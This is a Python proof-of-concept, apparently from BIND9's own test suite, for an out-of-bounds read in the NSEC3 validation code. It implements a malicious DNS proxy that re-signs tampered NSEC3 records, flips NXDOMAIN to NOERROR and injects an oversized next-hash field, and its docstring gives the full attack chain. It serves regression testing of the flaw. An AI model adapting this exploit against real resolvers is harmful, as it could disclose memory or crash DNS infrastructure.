nsec3/ans7/ans.py

#!/usr/bin/env python3
# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
#
# SPDX-License-Identifier: MPL-2.0
#
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0.  If a copy of the MPL was not distributed with this
# file, you can obtain one at https://mozilla.org/MPL/2.0/.
#
# See the COPYRIGHT file distributed with this work for additional
# information regarding copyright ownership.

"""
Crafted authoritative DNS proxy for BIND9 NSEC3 OOB read PoC.

Simulates a malicious authoritative server that crafts NSEC3 responses
to trigger CWE-125 (out-of-bounds stack read) in validator.c:344.

Attack chain:
1. Resolver queries xxx.evil.test A -> proxy modifies NSEC3 in A response
   (breaks the NSEC3 proof, forcing proveunsecure() fallback)
2. Resolver fetches DS for xxx.evil.test -> proxy injects crafted NSEC3
   with next_length=200 (exceeds 155-byte buffer) at position 0
3. DS validation succeeds via unmodified NSEC3 (opt-out coverage)
4. ncache stores: [crafted_nsec3 (200B next), original_nsec3]
5. isdelegation() iterates ncache -> crafted first -> memcmp() OOB read

Usage: python3 crafted_auth_v6.py <ip> <port>
       Listens on [ip]:[port]
       Forwards to legitimate auth server on [10.53.0.6]:[port]

Prerequisites: pip install dnspython cryptography
"""

import base64
import glob
import os
import signal
import socket
import struct
import sys
import time

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec, utils

import dns.message
import dns.name
import dns.rcode
import dns.rdata
import dns.rdataclass
import dns.rdatatype
import dns.rrset

IP = sys.argv[1]
PORT = int(sys.argv[2])
TARGET_NEXT_LENGTH = 200
ZONE_FILE = "../ns6/evil.test.db.signed"

# NSEC3 params: alg=1(SHA1), flags=1(opt-out), iterations=10, salt=DEADBEEF
NSEC3_ALG = 1
NSEC3_FLAGS = 1
NSEC3_ITERATIONS = 10
NSEC3_SALT = bytes.fromhex("DEADBEEF")
NSEC3_TTL = 86400

# RRSIG timing: computed dynamically for portability
NOW = int(time.time())
RRSIG_LABELS = 3
RRSIG_ORIG_TTL = 86400
RRSIG_INCEPTION = NOW - 3600  # 1 hour ago
RRSIG_EXPIRATION = NOW + 30 * 86400  # 30 days from now


def discover_nsec3_from_zone(zone_file):
    """
    Auto-discover NSEC3 owner names and next hashes from the signed zone.
    Returns list of dicts sorted by owner name.
    """
    nsec3_records = []
    with open(zone_file, "r", encoding="utf-8") as f:
        for line in f:
            line = line.strip()
            if not line or line.startswith(";"):
                continue
            parts = line.split()
            if parts[3] == "NSEC3":
                print(parts)
                try:
                    idx = parts.index("NSEC3")
                    print(idx)
                    owner = parts[0]
                    next_hash_b32 = parts[idx + 5]
                    flags = int(parts[idx + 2])
                    nsec3_records.append(
                        {
                            "owner": owner,
                            "next_hash_b32": next_hash_b32,
                            "flags": flags,
                        }
                    )
                except (IndexError, ValueError):
                    continue
    nsec3_records.sort(key=lambda r: r["owner"])
    return nsec3_records


def b32_to_bytes(b32hex_str):
    """Decode base32hex (RFC 4648) to bytes."""
    padded = b32hex_str.upper() + "=" * ((8 - len(b32hex_str) % 8) % 8)
    return base64.b32hexdecode(padded)


def load_zsk():
    """Load the Zone Signing Key (ZSK) for re-signing modified records."""
    keys = glob.glob("../ns6/Kevil.test.+013+*.private")
    for kf in keys:
        pub = kf.replace(".private", ".key")
        with open(pub, "r", encoding="utf-8") as f:
            content = f.read()
        if "256 3 13" in content:
            with open(kf, "r", encoding="utf-8") as pf:
                for line in pf:
                    if line.startswith("PrivateKey:"):
                        key_bytes = base64.b64decode(line.split(":", 1)[1].strip())
                        pk = ec.derive_private_key(
                            int.from_bytes(key_bytes, "big"),
                            ec.SECP256R1(),
                            default_backend(),
                        )
                        tag = int(kf.split("+")[-1].replace(".private", ""))
                        print(f"[*] Loaded ZSK key tag={tag}", flush=True)
                        return pk, tag
    raise ValueError("No ZSK found")


def sign_rrset(
    private_key,
    key_tag,
    rrset,
    type_covered,
    labels,
    original_ttl,
    expiration,
    inception,
    signer_name,
):
    """Sign an RRset with ECDSAP256SHA256 and return RRSIG rdata."""
    algorithm = 13

    sig_rdata = struct.pack("!HBBI", type_covered, algorithm, labels, original_ttl)
    sig_rdata += struct.pack("!II", expiration, inception)
    sig_rdata += struct.pack("!H", key_tag)
    sig_rdata += signer_name.canonicalize().to_wire()

    rr_wires = []
    for rdata in rrset:
        rdata_wire = rdata.to_digestable()
        rr_wire = rrset.name.canonicalize().to_wire()
        rr_wire += struct.pack("!HHI", rrset.rdtype, rrset.rdclass, original_ttl)
        rr_wire += struct.pack("!H", len(rdata_wire))
        rr_wire += rdata_wire
        rr_wires.append(rr_wire)

    rr_wires.sort()
    sign_data = sig_rdata + b"".join(rr_wires)

    der_sig = private_key.sign(sign_data, ec.ECDSA(hashes.SHA256()))
    r, s = utils.decode_dss_signature(der_sig)
    raw_sig = r.to_bytes(32, "big") + s.to_bytes(32, "big")

    full_rrsig_wire = sig_rdata + raw_sig
    rrsig_rdata = dns.rdata.from_wire(
        dns.rdataclass.IN,
        dns.rdatatype.RRSIG,
        full_rrsig_wire,
        0,
        len(full_rrsig_wire),
        None,
    )
    return rrsig_rdata


def sign_rrset_from_template(private_key, key_tag, rrset, template_rrsig):
    """Sign using existing RRSIG as template for type_covered."""
    return sign_rrset(
        private_key,
        key_tag,
        rrset,
        template_rrsig.type_covered,
        RRSIG_LABELS,
        RRSIG_ORIG_TTL,
        RRSIG_EXPIRATION,
        RRSIG_INCEPTION,
        template_rrsig.signer,
    )


def build_crafted_nsec3(private_key, key_tag, owner_name, original_next_hash, bitmaps):
    """
    Build a crafted NSEC3 with next_length=200 (exceeds 155-byte buffer).
    Returns (nsec3_rrset, rrsig_rrset).
    """
    name = dns.name.from_text(owner_name)
    signer = dns.name.from_text("evil.test.")

    crafted_next = original_next_hash + os.urandom(
        TARGET_NEXT_LENGTH - len(original_next_hash)
    )

    nsec3_wire = struct.pack("!BBH", NSEC3_ALG, NSEC3_FLAGS, NSEC3_ITERATIONS)
    nsec3_wire += struct.pack("!B", len(NSEC3_SALT)) + NSEC3_SALT
    nsec3_wire += struct.pack("!B", TARGET_NEXT_LENGTH) + crafted_next
    nsec3_wire += bitmaps

    nsec3_rdata = dns.rdata.from_wire(
        dns.rdataclass.IN, dns.rdatatype.NSEC3, nsec3_wire, 0, len(nsec3_wire), None
    )

    nsec3_rrset = dns.rrset.RRset(name, dns.rdataclass.IN, dns.rdatatype.NSEC3)
    nsec3_rrset.update_ttl(NSEC3_TTL)
    nsec3_rrset.add(nsec3_rdata)

    rrsig_rdata = sign_rrset(
        private_key,
        key_tag,
        nsec3_rrset,
        type_covered=dns.rdatatype.NSEC3,
        labels=RRSIG_LABELS,
        original_ttl=RRSIG_ORIG_TTL,
        expiration=RRSIG_EXPIRATION,
        inception=RRSIG_INCEPTION,
        signer_name=signer,
    )

    rrsig_rrset = dns.rrset.RRset(name, dns.rdataclass.IN, dns.rdatatype.RRSIG)
    rrsig_rrset.update_ttl(NSEC3_TTL)
    rrsig_rrset.add(rrsig_rdata)

    print(
        f"[*] Built crafted NSEC3: owner={owner_name}, "
        f"next_hash={TARGET_NEXT_LENGTH}B, signed tag={key_tag}",
        flush=True,
    )
    return nsec3_rrset, rrsig_rrset


def modify_nsec3_next(rdata):
    """Modify an NSEC3 record's next_hash to TARGET_NEXT_LENGTH bytes."""
    orig_wire = rdata.to_digestable()
    pos = 0
    hash_alg = orig_wire[pos]
    pos += 1
    flags = orig_wire[pos]
    pos += 1
    iterations = struct.unpack("!H", orig_wire[pos : pos + 2])[0]
    pos += 2
    salt_len = orig_wire[pos]
    pos += 1
    salt = orig_wire[pos : pos + salt_len]
    pos += salt_len
    hash_len = orig_wire[pos]
    pos += 1
    next_hash = orig_wire[pos : pos + hash_len]
    pos += hash_len
    type_bitmaps = orig_wire[pos:]

    crafted_next = next_hash + os.urandom(TARGET_NEXT_LENGTH - len(next_hash))
    new_wire = struct.pack("!BBH", hash_alg, flags, iterations)
    new_wire += struct.pack("!B", salt_len) + salt
    new_wire += struct.pack("!B", TARGET_NEXT_LENGTH) + crafted_next
    new_wire += type_bitmaps

    return dns.rdata.from_wire(
        dns.rdataclass.IN, dns.rdatatype.NSEC3, new_wire, 0, len(new_wire), None
    )


def name_label(name):
    """Get the first label (NSEC3 hash) from a DNS name."""
    return str(name).split(".", maxsplit=1)[0].upper()


def is_target(dns_name, target_prefix):
    """Check if a DNS name's first label starts with target prefix."""
    return (
        str(dns_name)
        .split(".", maxsplit=1)[0]
        .upper()
        .startswith(target_prefix.upper())
    )


def patch_a_response(response_data, private_key, key_tag, modify_name):
    """
    Patch A response: modify the NSEC3 matching modify_name to break
    the NSEC3 proof, forcing the resolver into proveunsecure().
    """
    try:
        msg = dns.message.from_wire(response_data)
    except Exception as e:  # pylint: disable=broad-except
        print(f"[!] Parse error: {e}", flush=True)
        return response_data

    new_authority = []
    for rrset in msg.authority:
        if rrset.rdtype == dns.rdatatype.NSEC3 and is_target(rrset.name, modify_name):
            new_rrset = dns.rrset.RRset(rrset.name, rrset.rdclass, rrset.rdtype)
            new_rrset.update_ttl(rrset.ttl)
            for rdata in rrset:
                new_rrset.add(modify_nsec3_next(rdata))
            new_authority.append(new_rrset)
            print(
                f"[!] PATCHED {name_label(rrset.name)}: "
                f"next_hash -> {TARGET_NEXT_LENGTH}B",
                flush=True,
            )

        elif rrset.rdtype == dns.rdatatype.RRSIG:
            covers_nsec3 = any(rd.type_covered == dns.rdatatype.NSEC3 for rd in rrset)
            if covers_nsec3 and is_target(rrset.name, modify_name):
                target_rrset = [
                    rs
                    for rs in new_authority
                    if rs.rdtype == dns.rdatatype.NSEC3
                    and is_target(rs.name, modify_name)
                ]
                if target_rrset:
                    template = next(iter(rrset))
                    try:
                        new_rrsig = sign_rrset_from_template(
                            private_key, key_tag, target_rrset[0], template
                        )
                        rrsig_rrset = dns.rrset.RRset(
                            rrset.name, dns.rdataclass.IN, dns.rdatatype.RRSIG
                        )
                        rrsig_rrset.update_ttl(rrset.ttl)
                        rrsig_rrset.add(new_rrsig)
                        new_authority.append(rrsig_rrset)
                        print(f"[!] Re-signed " f"{name_label(rrset.name)}", flush=True)
                    except Exception as e:  # pylint: disable=broad-except
                        print(f"[!] Sign error: {e}", flush=True)
                        new_authority.append(rrset)
                else:
                    new_authority.append(rrset)
            else:
                new_authority.append(rrset)
        else:
            new_authority.append(rrset)

    msg.authority = new_authority
    try:
        wire = msg.to_wire()
        print(f"[!] A response: {len(wire)} bytes", flush=True)
        return wire
    except Exception as e:  # pylint: disable=broad-except
        print(f"[!] Wire error: {e}", flush=True)
        return response_data


def patch_ds_response(response_data, crafted_nsec3, crafted_rrsig, inject_name):
    """
    Patch DS response:
    - Change RCODE NXDOMAIN -> NOERROR
    - Inject crafted NSEC3 (200B next) at position 0 in authority
    """
    try:
        msg = dns.message.from_wire(response_data)
    except Exception as e:  # pylint: disable=broad-except
        print(f"[!] Parse error: {e}", flush=True)
        return response_data

    if msg.rcode() == dns.rcode.NXDOMAIN:
        msg.set_rcode(dns.rcode.NOERROR)
        print("[!] RCODE: NXDOMAIN -> NOERROR", flush=True)

    new_authority = [crafted_nsec3, crafted_rrsig]
    print(
        "[!] INJECTED crafted "
        f"{name_label(crafted_nsec3.name)} "
        f"(next={TARGET_NEXT_LENGTH}B) at position 0",
        flush=True,
    )

    for rrset in msg.authority:
        if is_target(rrset.name, inject_name):
            print(f"[D] Skipped original " f"{name_label(rrset.name)}", flush=True)
            continue
        new_authority.append(rrset)

    msg.authority = new_authority
    try:
        wire = msg.to_wire()
        print(f"[!] DS response: {len(wire)} bytes", flush=True)
        return wire
    except Exception as e:  # pylint: disable=broad-except
        print(f"[!] Wire error: {e}", flush=True)
        return response_data


def sigterm(*_):
    print("SIGTERM received, shutting down")
    os.remove("ans.pid")
    sys.exit(0)


def main():
    signal.signal(signal.SIGTERM, sigterm)
    signal.signal(signal.SIGINT, sigterm)
    with open("ans.pid", "w", encoding="utf-8") as pidfile:
        print(os.getpid(), file=pidfile)

    # Auto-discover NSEC3 info from signed zone
    print(f"[*] Reading zone file: {ZONE_FILE}", flush=True)
    nsec3_records = discover_nsec3_from_zone(ZONE_FILE)

    if len(nsec3_records) < 2:
        print(
            f"[!] ERROR: Need >= 2 NSEC3 records, " f"found {len(nsec3_records)}",
            flush=True,
        )
        sys.exit(1)

    # First alphabetically = inject target, second = modify target
    inject_rec = nsec3_records[0]
    modify_rec = nsec3_records[1]

    inject_name = inject_rec["owner"].split(".")[0]
    modify_name = modify_rec["owner"].split(".")[0]
    inject_owner_full = inject_rec["owner"]
    inject_next_hash = b32_to_bytes(inject_rec["next_hash_b32"])

    inject_bitmaps = bytes.fromhex("0006400000000002")  # A RRSIG

    print(f"[*] NSEC3 to INJECT (crafted): {inject_name}", flush=True)
    print(f"[*] NSEC3 to MODIFY (break proof): {modify_name}", flush=True)

    # Load ZSK for re-signing
    private_key, key_tag = load_zsk()

    # Build crafted NSEC3 with next_length=200
    crafted_nsec3, crafted_rrsig = build_crafted_nsec3(
        private_key, key_tag, inject_owner_full, inject_next_hash, inject_bitmaps
    )

    # Start UDP proxy
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((IP, PORT))
    print(f"[*] Proxy on {IP}:{PORT} -> {IP}:{PORT}", flush=True)

    while True:
        data, addr = sock.recvfrom(4096)
        try:
            query = dns.message.from_wire(data)
            qname = query.question[0].name
            qtype = query.question[0].rdtype
            qtype_text = dns.rdatatype.to_text(qtype)
            print(f"\n[<] Query from {addr}: {qname} {qtype_text}", flush=True)
        except Exception as e:  # pylint: disable=broad-except
            print(f"[<] Query parse error: {e}", flush=True)
            qtype = None

        fwd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        fwd.settimeout(3)
        fwd.sendto(data, ("10.53.0.6", PORT))
        try:
            response, _ = fwd.recvfrom(65535)
            if qtype == dns.rdatatype.DS:
                print("[>] DS - inject crafted + RCODE change", flush=True)
                modified = patch_ds_response(
                    response, crafted_nsec3, crafted_rrsig, inject_name
                )
                sock.sendto(modified, addr)
            elif qtype in (dns.rdatatype.A, dns.rdatatype.AAAA):
                print(f"[>] A - modify {modify_name}", flush=True)
                modified = patch_a_response(response, private_key, key_tag, modify_name)
                sock.sendto(modified, addr)
            else:
                print(f"[>] {qtype_text} - forwarding", flush=True)
                sock.sendto(response, addr)
        except Exception as e:  # pylint: disable=broad-except
            print(f"[!] Error: {e}", flush=True)
        finally:
            fwd.close()


if __name__ == "__main__":
    main()